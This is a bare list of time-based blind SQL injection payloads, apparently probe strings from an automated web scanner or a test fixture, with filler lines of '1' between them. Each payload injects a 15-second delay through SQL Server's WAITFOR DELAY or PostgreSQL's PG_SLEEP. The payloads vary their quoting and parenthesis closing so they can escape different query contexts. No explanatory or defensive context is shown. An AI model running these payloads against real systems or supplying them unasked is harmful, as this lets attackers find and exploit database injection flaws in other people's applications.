555-1 waitfor delay '0:0:15' --

1

555zd5USksP'; waitfor delay '0:0:15' --

1

555-1 OR 444=(SELECT 444 FROM PG_SLEEP(15))--

1

555-1) OR 285=(SELECT 285 FROM PG_SLEEP(15))--

1

555-1)) OR 620=(SELECT 620 FROM PG_SLEEP(15))--

1